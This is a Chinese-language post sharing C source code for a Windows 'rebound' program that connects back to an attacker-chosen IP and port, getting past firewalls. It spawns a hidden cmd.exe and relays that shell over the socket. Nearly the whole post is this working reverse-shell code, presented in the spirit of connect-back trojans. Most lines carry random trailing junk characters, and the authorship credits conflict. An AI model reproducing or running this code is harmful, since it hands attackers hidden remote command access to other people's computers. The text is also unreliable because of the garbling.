这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nb ,+!)+
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/* ============================== ;>Q.r{P
Rebound port in Windows NT 8-cCWoc
By wind,2006/7 ZI/Ia$O
===============================*/ 0\2#(^
#include T5b*Ia
#include /Dk`vn2 eN
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#pragma comment(lib,"wsock32.lib") /<-@8CC<
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void OutputShell(); C])b 3tM,7
SOCKET sClient; \1R<GBC4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QkU6eE<M*
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void main(int argc,char **argv) moT*r?l
{ mO(A'p "b
WSADATA stWsaData; $>=?'wr
int nRet; CZ4Nw]dtR
SOCKADDR_IN stSaiClient,stSaiServer; a15kFun
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if(argc != 3) aq-R#q
{ ,3~[cE<4
printf("Useage:\n\rRebound DestIP DestPort\n"); ?|,-Bft3
return; ~![J~CkPS
} |QcE5UC
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WSAStartup(MAKEWORD(2,2),&stWsaData); H". [&VP5Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `@)>5gW&p
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stSaiClient.sin_family = AF_INET; 7ts`uI<E@7
stSaiClient.sin_port = htons(0); oW\kJ>!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xR`M#d5"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fNnX{Wq
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printf("Bind Socket Failed!\n"); LCouDk(=`
return; Y `ySNC
} )E>nr
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stSaiServer.sin_family = AF_INET; 49d02AU%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q$XNs%7w5,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u-%|ZSg
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *iwVB^^$
{ NL}Q3Vv1.
printf("Connect Error!"); <2,NWn.
return; tS:/:0HnA)
} SQ0?M\D7
OutputShell(); R?L?6~/q
} 5[5|_H+0
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void OutputShell() R+b~m!58
{ kX)QHNzP
char szBuff[1024]; lGZf_X)gA^
SECURITY_ATTRIBUTES stSecurityAttributes; ScCA8JgY
OSVERSIONINFO stOsversionInfo; t$zeBOI)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B+r$_L&I
STARTUPINFO stStartupInfo; V AnP3:
char *szShell; 7I4<Dj
PROCESS_INFORMATION stProcessInformation; Lh;U2pA
unsigned long lBytesRead; Y6:b
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KJ#SE|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r<9G}9
stSecurityAttributes.lpSecurityDescriptor = 0; b9RJ>K
stSecurityAttributes.bInheritHandle = TRUE; Da-U@e!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X`JoXNqm
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ls6C*<8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s8V:;$ !
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u?7^+z
stStartupInfo.wShowWindow = SW_HIDE; ,,=VF(@G
stStartupInfo.hStdInput = hReadPipe; U+-R2w]#q_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WG]`Sy
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GetVersionEx(&stOsversionInfo); FxdWJ|rN9D
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switch(stOsversionInfo.dwPlatformId) LMHiiOs,
{ 4Is Wp!`W
case 1: -Dy":/Bk
szShell = "command.com"; ?M BOd9
break; ":!1gC
default: 1YScZ
szShell = "cmd.exe"; WX4f3Um
break; 9Yhlq$;g
} /*e6('9s
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zK>}x=
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send(sClient,szMsg,77,0); G#YBfPmr
while(1) p}p}!M|
{ FBeo@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W4q
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if(lBytesRead) QB"+B]rV
{ ~A_1he~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 95mwDHbA
send(sClient,szBuff,lBytesRead,0); ]jSRO30H3<
} j~Mx^ivwj
else *:?XbtIK u
{ `_e5pW=:>
lBytesRead=recv(sClient,szBuff,1024,0); _0o65?F
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @k9n 0Qe|F
} 1v inO!
} GG
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return; ($Q|9>5,
}